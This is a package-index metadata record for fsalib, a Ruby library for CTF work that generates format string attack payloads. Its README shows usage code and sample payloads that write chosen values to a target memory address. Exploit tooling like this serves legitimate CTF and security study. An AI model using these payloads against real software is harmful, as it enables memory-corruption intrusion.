{"id":20520852,"url":"https://github.com/owlinux1000/fsalib","last_synced_at":"2025-05-09T10:31:56.496Z","repository":{"id":56847798,"uuid":"82890208","full_name":"owlinux1000/fsalib","owner":"owlinux1000","description":"format string attack payload generator","archived":true,"fork":false,"pushed_at":"2018-05-06T08:13:38.000Z","size":134,"stargazers_count":5,"open_issues_count":1,"forks_count":1,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-04-12T06:35:56.903Z","etag":null,"topics":["ctf-tools","exploitation-framework","pwn","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/owlinux1000.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-02-23T05:58:11.000Z","updated_at":"2025-03-03T15:57:37.000Z","dependencies_parsed_at":"2022-09-09T09:11:28.814Z","dependency_job_id":null,"html_url":"https://github.com/owlinux1000/fsalib","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/owlinux1000%2Ffsalib","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/owlinux1000%2Ffsalib/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/owlinux1000%2Ffsalib/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/owlinux1000%2Ffsalib/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/owlinux1000","download_url":"https://codeload.github.com/owlinux1000/fsalib/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253234178,"owners_count":21875561,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ctf-tools","exploitation-framework","pwn","ruby"],"created_at":"2024-11-15T22:23:59.653Z","updated_at":"2025-05-09T10:31:56.206Z","avatar_url":"https://github.com/owlinux1000.png","language":"Ruby","funding_links":[],"categories":[],"sub_categories":[],"readme":"# fsalib\n\n[![Build Status](https://travis-ci.org/owlinux1000/fsalib.svg?branch=master)](https://travis-ci.org/owlinux1000/fsalib)\n[![MIT License](http://img.shields.io/badge/license-MIT-blue.svg?style=flat)](LICENSE)\n\nI made this script based on [libformatstr](https://github.com/hellman/libformatstr).\n\n\n## Install\n\n```\n$ gem install fsa\n```\n\n## Usage\n\n### Basic\n\n```ruby\n#coding: ascii-8bit\nrequire_relative 'fsa'\n\ntarget_addr = 0x08049580\n\nvalue = 0xdeadbeef\nfmt = FSA.new()\nfmt[target_addr] = value\np fmt.payload(0) # index of argument\n#=\u003e \"%48879c%6$hn%8126c%7$hnA\\x80\\x95\\x04\\b\\x82\\x95\\x04\\b\"\n\n# Supported Array\nvalue = [0xdeadbeef, 0xdeadbeef] # like ropchain\nfmt = FSA.new()\nfmt[target_addr] = value\np fmt.payload(0)\n#=\u003e \"%48879c%9$hn%10$hn%8126c%11$hn%12$hn\\x80\\x95\\x04\\b\\x84\\x95\\x04\\b\\x82\\x95\\x04\\b\\x86\\x95\\x04\\b\"\n\n# Supported String\nvalue = \"H@CK\"\nfmt = FSA.new()\nfmt[target] = value\np fmt.payload(0)\n#=\u003e \"%16456c%6$hn%2811c%7$hnA\\x80\\x95\\x04\\b\\x82\\x95\\x04\\b\"\n```\n\n### Advanced\n\n```ruby\n#coding: ascii-8bit\nrequire_relative 'fsa'\n\ntarget_addr = 0x08049580\nvalue = 0xdead            # 2byte(Supported 2byte, 1byte)\nfmt = FSA.new(30)         # padding \nfmt[target_addr] = value\np fmt.payload(0, start_len = 10) # len of already printed data\n#=\u003e \"%57005c%3$hnAAL\\xA0\\x04\\b\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fowlinux1000%2Ffsalib","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fowlinux1000%2Ffsalib","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fowlinux1000%2Ffsalib/lists"}